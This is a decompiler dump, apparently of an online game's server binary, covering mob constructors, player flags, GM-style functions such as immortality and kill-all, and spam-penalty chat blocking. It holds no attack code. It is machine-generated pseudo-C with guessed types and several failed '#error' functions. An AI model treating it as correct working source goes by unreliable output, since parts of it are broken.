(*ShineObjectClass__ShineBandit___vftable_)(); //----- (00502DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; *(_DWORD *)&v1->gap0[8884] = &ShineObjectClass::ShineObject::so_MiscTableDef; } // 5D46C0: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (00502E10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; *(_DWORD *)&v1->gap0[7588] = v1; *(_DWORD *)&v1->gap0[8372] = &MobTacticElement::MobActionArgument::Actor::nobrain; } // 5D5E60: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (00502E40) -------------------------------------------------------- #error "502E40: undefined or illegal type '#434' (funcsize=986)" //----- (00503BD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 char result; // al@1 v2 = this; (*(void (**)(void))(*(_DWORD *)this + 2528))(); result = (*((_BYTE *)v2 + 7368) ^ 32 * bValue) & 0x20 ^ *((_BYTE *)v2 + 7368); *((_BYTE *)v2 + 7368) = result; return result; } //----- (00503C00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this) { return (*(_BYTE *)(this + 7368) >> 5) & 1; } //----- (00503C10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 2808))((char *)this + 8792); } //----- (00503C20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this) { int v1; // esi@1 char v2; // al@3 char result; // al@4 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineMobileObject::smo_IsActiveMode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S5_31 & 1) ) { _S5_31 |= 1u; cmc_79.cmc_AllowMode = 86; atexit(_E6_12); } v2 = ShineObjectClass::ShineMobileObject::smo_GetMode(v1); --funcallanalizer.fca_stackpoint; if ( (1 << v2) & cmc_79.cmc_AllowMode ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 1; } else { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 0; } return result; } //----- (00503D20) -------------------------------------------------------- void __fastcall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(int a1, int newloc, int newloca, int a4) { int v4; // esi@1 int v5; // eax@1 int v6; // ecx@1 int v7; // ST04_4@3 int v8; // eax@3 char *v9; // [sp+24h] [bp-20h]@2 v4 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMobileObject::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2528))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 20))(v4); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 828))(v4, 2, 0, 3); v5 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4); v6 = *(_DWORD *)(a4 + 4); *(_DWORD *)v5 = *(_DWORD *)a4; *(_DWORD *)(v5 + 4) = v6; if ( FieldMap::fm_Marking(*(#325 **)(v4 + 98), v4, 0, 0) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 996))(v4); v9 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } else { v7 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4); v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( (void *)v4, v8, v7, 0, 0, (int)ShineObjectClass::ShineObject::so_BroadcastBriefInfo, 0, 0, 0, 0, 65535); v9 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00503E40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc) { int v2; // esi@1 int v3; // [sp-4h] [bp-14h]@0 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMob::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(v2, newloc, newloc, v3); MobRoamingPoint::mrp_Start((MobRoamingPoint *)(v2 + 7408)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); } //----- (00503EF0) -------------------------------------------------------- #error "503EF0: undefined or illegal type '#325' (funcsize=210)" //----- (005041D0) -------------------------------------------------------- void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5D6F28: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (005041E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc) { void *v4; // esi@1 v4 = this; (*(void (**)(void))(*(_DWORD *)this + 1236))(); return (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4); } //----- (00504200) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin() { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::sp_NoAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); } //----- (00504240) -------------------------------------------------------- #error "504240: undefined or illegal type '#325' (funcsize=74)" //----- (00504330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this) { void *v1; // esi@1 int v2; // ST08_4@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListDeathAura alda; // [sp+1Ch] [bp-14h]@1 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v7; // [sp+2Ch] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DeathAura"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DeathAura"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; v2 = *((_DWORD *)v1 + 1843); v3 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, v2, 0, (int)&alda, 0, 65535); LOBYTE(v7) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); } // 5D6F28: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (00504420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Immortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 32059) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1); *(_DWORD *)((char *)v1 + 32063) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); } //----- (005044D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this) { void *v1; // esi@1 AxialListDeathAura alda; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alda, 0); LOBYTE(v4) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); } // 5D6F28: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (005045A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid) { void *v2; // esi@1 char result; // al@2 int v4; // ebx@3 int v5; // edi@4 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1720))() ) { v4 = 0; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1720))(v2) + 12) <= 0 ) { LABEL_7: result = 0; } else { v5 = 0; while ( skillid != *(_WORD *)(*(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1720))(v2) + 8) + v5 + 4) ) { ++v4; v5 += 12; if ( v4 >= *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1720))(v2) + 12) ) goto LABEL_7; } result = 1; } } else { result = 0; } return result; } //----- (00504610) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time) { ORField *v2; // esi@3 if ( Time ) { v2 = (ORField *)(this + 8868); TickTimer::Enable((TickTimer *)(this + 8868), 1); PacketContainer::pcb_SetSocketSession(v2, (ORColumnHeader *)(10 * Time)); } else { TickTimer::Enable((TickTimer *)(this + 8868), 0); } } //----- (00504650) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMob::sm_DamageSet(#434 *a1, char *arg0, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char *arg7, char *arg8, char *arg9) { char v11; // cl@1 double factor; // [sp+0h] [bp-8h]@1 v11 = *arg2; factor = 0.0; if ( v11 ) sscanf(arg2, "%lg"); } //----- (00504680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed) { *(_DWORD *)(this + 4084) = unSpeed; Parameter::Container::c_MakeTotal((void *)(this + 4008)); } //----- (005046A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this) { int result; // eax@1 int v2; // ebx@1 void *v3; // ecx@1 int v4; // esi@3 int v5; // eax@3 NPCManager::LinkInformTemplete Linkinfo; // [sp+4h] [bp-6Ch]@3 result = __security_cookie; v2 = this; v3 = *(void **)(this + 98); if ( v3 ) { result = FieldMap::fm_GetSaveLinktoData(v3); if ( result ) { v4 = FieldMap::fm_GetSaveLinktoData(*(void **)(v2 + 98)); v5 = *(_DWORD *)v2; memcpy(&Linkinfo, (const void *)v4, 0x64u); Linkinfo.Party = *(_BYTE *)(v4 + 100); result = (*(int (__thiscall **)(int, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v5 + 1472))( v2, &Linkinfo, 6, 9, 10); } } return result; } // 610D14: using guessed type int __security_cookie; //----- (00504700) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = *(_DWORD *)(this + 92592); if ( result ) { result = (***(int (__stdcall ****)(_DWORD))(result + 788))(result); *(_DWORD *)(*(_DWORD *)(v1 + 92592) + 788) = result; } return result; } //----- (00504730) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this) { return *(_BYTE *)(this + 92285); } //----- (00504740) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue) { char result; // al@1 result = bValue; *(_BYTE *)(this + 92285) = bValue; return result; } //----- (00504750) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 92176); return v1 == 2 || v1 == 3; } //----- (00504770) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 char *v5; // eax@4 int v6; // ST04_4@4 int v7; // eax@4 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@4 int v9; // [sp+38h] [bp-4h]@4 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 4285; *((_WORD *)v2 + 1) = 7680; v2[4] = bEnable; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SetAutoPick : Packet Too Long", 5); } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4286; *((_WORD *)v5 + 1) = *((_WORD *)v3 + 2); v5[4] = bEnable; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v6 = *(_DWORD *)((char *)v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v7, v6, 0, 0, (int)&alchat, 0, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00504860) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable) { char result; // al@1 result = bEnable; *(_BYTE *)(this + 23281) ^= (*(_BYTE *)(this + 23281) ^ 4 * bEnable) & 4; *(_BYTE *)(*(_DWORD *)(this + 32010) + 145) = bEnable; return result; } //----- (00504890) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this) { return (*(_BYTE *)(this + 23281) >> 2) & 1; } //----- (005048A0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this) { ItemInform_ActionItem *v1; // eax@1 unsigned __int16 v2; // ax@1 ItemInfo *v3; // eax@2 v1 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))(this + 32168))(this + 32168, 28); v2 = ItemInventoryCell::iic_ItemIdent(v1); return v2 != -1 && (v3 = ItemDataBox::operator__(&itemdatabox, v2)->data) != 0 && v3->AutoMon == 1; } //----- (005048E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 108) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7746); return 0; } if ( *(_BYTE *)(v2 + 109) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00504930) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 107) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7747); return 0; } if ( *(_BYTE *)(v2 + 109) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00504980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29937; *((_WORD *)v2 + 1) = nIndexID; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ : Packet Too Long", 4); } } //----- (005049E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this) { void *v1; // esi@1 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 4 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1140))(v1); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff(v1); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); } //----- (00504A30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this) { void *v1; // esi@1 char v2; // al@1 int v3; // edi@1 void *v4; // eax@1 char result; // al@2 int i; // eax@3 v1 = this; v2 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); v3 = (unsigned __int8)v2; v4 = malloc(4 * (unsigned __int8)v2); *((_DWORD *)v1 + 23172) = v4; if ( v4 ) { for ( i = 0; i < v3; ++i ) *(_DWORD *)(*((_DWORD *)v1 + 23172) + 4 * i) = 0; *((_DWORD *)v1 + 23173) = 0; *((_DWORD *)v1 + 23174) = 0; *((_DWORD *)v1 + 23175) = 0; *((_DWORD *)v1 + 23176) = 0; result = 1; } else { result = 0; } return result; } //----- (00504AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this) { unsigned int v1; // eax@1 char *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 unsigned int v5; // ecx@2 unsigned int v6; // edx@3 int v7; // eax@8 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 2120; v4 = *(_DWORD *)(this + 92696); if ( v4 <= v1 ) { v6 = 0; } else { v5 = v4 - v1; if ( v5 >= 0xA ) v6 = v5 / 0xA; else v6 = 1; } *(_DWORD *)(v2 + 2) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SpamSendBlockTimeToClient : Packet Too Long", 6); } } //----- (00504B20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime) { int result; // eax@1 result = tCurrentTime + 10 * NextTime; *(_DWORD *)(this + 92708) = result; return result; } //----- (00504B40) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this) { int v1; // esi@1 signed int result; // eax@2 signed int v3; // ebp@3 int v4; // edi@3 int i; // esi@3 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+0h] [bp-28h]@1 ItemBoxIterEmpty itemitertmp; // [sp+Ch] [bp-1Ch]@1 int v8; // [sp+24h] [bp-4h]@1 v1 = this; ItemBoxIterEmpty::ItemBoxIterEmpty(&itemitertmp, (ItemBag *)(this + 35536), (ChargedEffectContainer *)(this + 91696)); v8 = 0; InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( &itemiter, 9, &itemitertmp.baseclass_0, (InventoryLocking::InventoryCellLock *)(v1 + 57736)); LOBYTE(v8) = 1; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v3 = 1; v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1144))(v1); for ( i = 0; i < v4; ++i ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&itemiter) ) break; ++v3; } LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = v3; } else { LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = 0; } return result; } //----- (00504C40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val) { char result; // al@1 result = val; *(_BYTE *)(this + 92712) = val; return result; } //----- (00504C50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan) { int result; // eax@1 result = ChatBan; *(_DWORD *)(this + 92724) = ChatBan; return result; } //----- (00504C60) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this) { return *(_DWORD *)(this + 92724) != 0; } //----- (00504C70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle) { return ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(this); } //----- (00504C80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this) { char *v1; // ebx@1 unsigned int v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 int v6; // eax@8 int v7; // ecx@8 unsigned int v8; // edx@9 ZoneBaseSession *v9; // eax@17 v1 = gpp.pp_Buffer; v2 = clockwatch.cw_CurrTick; v3 = this; *(_WORD *)gpp.pp_Buffer = 16418; *(_DWORD *)(v1 + 2) = (*(int (**)(void))(*(_DWORD *)this + 836))(); v4 = *((_DWORD *)v3 + 23174); if ( v4 <= v2 ) { v5 = 0; } else { if ( v4 - v2 >= 0xA ) v5 = (v4 - v2) / 0xA; else v5 = 1; } *(_DWORD *)(v1 + 6) = v5; if ( v5 ) { *(_DWORD *)(v1 + 10) = (*((_DWORD *)v3 + 23175) - *((_DWORD *)v3 + 23174)) / 0xAu; *((_DWORD *)v3 + 23176) = 1; } else { v6 = time(0); v7 = *((_DWORD *)v3 + 23175); if ( v7 <= v2 ) v8 = 0; else v8 = v6 + (v7 - v2) / 0xA; *(_DWORD *)(v1 + 10) = v8; if ( v8 ) { *((_DWORD *)v3 + 23176) = 1; } else { if ( !*((_DWORD *)v3 + 23176) ) return; *((_DWORD *)v3 + 23176) = 0; } } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_SendSpamerDataToCharDB : Packet Too Long", 14); } } //----- (00504D90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime) { int v2; // esi@1 int v3; // edi@1 char v4; // bl@1 int v5; // ecx@11 int v6; // eax@11 signed int i; // eax@11 unsigned __int16 DelayTime; // [sp+10h] [bp-Ch]@3 unsigned __int16 BlockTime; // [sp+14h] [bp-8h]@9 int PenaltyLv; // [sp+18h] [bp-4h]@1 v2 = (int)this; v3 = 0; LOBYTE(PenaltyLv) = 1; v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); if ( *(_DWORD *)(v2 + 92700) <= CurrentTime || (LOBYTE(PenaltyLv) = 1, SpamerPenaltyData.spdb_SpamerPenaltyMaxNum <= 1u) ) { LABEL_9: if ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(&SpamerPenaltyData, PenaltyLv, &BlockTime) && SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v5 = CurrentTime + 10 * BlockTime; v6 = v5 + 10 * (v3 + DelayTime); *(_DWORD *)(v2 + 92696) = v5; *(_DWORD *)(v2 + 92700) = v6; for ( i = 0; i < (unsigned __int8)v4; ++i ) *(_DWORD *)(*(_DWORD *)(v2 + 92688) + 4 * i) = 0; ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v2); } } else { while ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v3 += DelayTime; if ( 10 * v3 >= (unsigned int)(*(_DWORD *)(v2 + 92700) - *(_DWORD *)(v2 + 92696)) ) { if ( (unsigned __int8)PenaltyLv < SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) LOBYTE(PenaltyLv) = PenaltyLv + 1; goto LABEL_9; } LOBYTE(PenaltyLv) = PenaltyLv + 1; if ( (unsigned __int8)PenaltyLv >= SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) goto LABEL_9; } } } //----- (00504EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this) { unsigned int v1; // ebx@1 char *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 unsigned int v6; // edx@7 int v7; // eax@8 int v8; // esi@8 ZoneBaseSession *v9; // eax@13 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 16417; *((_WORD *)v2 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v4 = *((_DWORD *)v3 + 23174); if ( v4 <= v1 ) { v5 = 0; } else { if ( v4 - v1 >= 0xA ) v5 = (v4 - v1) / 0xA; else v5 = 1; } *((_DWORD *)v2 + 2) = v5; if ( v5 ) { v6 = (*((_DWORD *)v3 + 23175) - *((_DWORD *)v3 + 23174)) / 0xAu; } else { v7 = time(0); v8 = *((_DWORD *)v3 + 23175); if ( v8 <= v1 ) v6 = 0; else v6 = v7 + (v8 - v1) / 0xA; } *((_DWORD *)v2 + 3) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SendSpamerToWM : Packet Too Long", 16); } } // 